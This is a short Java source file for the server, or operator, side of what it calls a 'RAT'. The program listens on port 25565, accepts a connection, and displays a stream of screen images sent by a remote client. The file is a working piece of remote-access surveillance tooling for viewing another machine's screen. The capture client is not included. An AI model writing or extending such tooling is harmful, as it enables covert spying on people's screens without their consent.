Server

import java.awt.Graphics;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;

import javax.imageio.ImageIO;
import javax.swing.JFrame;

@SuppressWarnings("serial")
public class Server extends JFrame {

    private BufferedImage image;
    private BufferedImage oldImage;

    public Server() {
        setTitle("RAT");
        setResizable(false);
        setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    }

    public static void main(String[] args) throws IOException {
        try {
            Server server = new Server();

            ServerSocket serverSocket = new ServerSocket(25565);
            Socket clientSocket = serverSocket.accept();
            System.out.println("Connection accepted!");

            ObjectInputStream in = new ObjectInputStream(clientSocket.getInputStream());
            int width = in.readShort();
            int height = in.readShort();
            server.setSize(width, height);
            server.setVisible(true);

            while (true) {
                server.image = ImageIO.read(in);
                if(server.image != null) {
                    server.oldImage = server.image;
                } else {
                    server.image = server.oldImage;
                }
                server.repaint();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void paint(Graphics g) {
        g.drawImage(image, 0, 0, this);
    }
}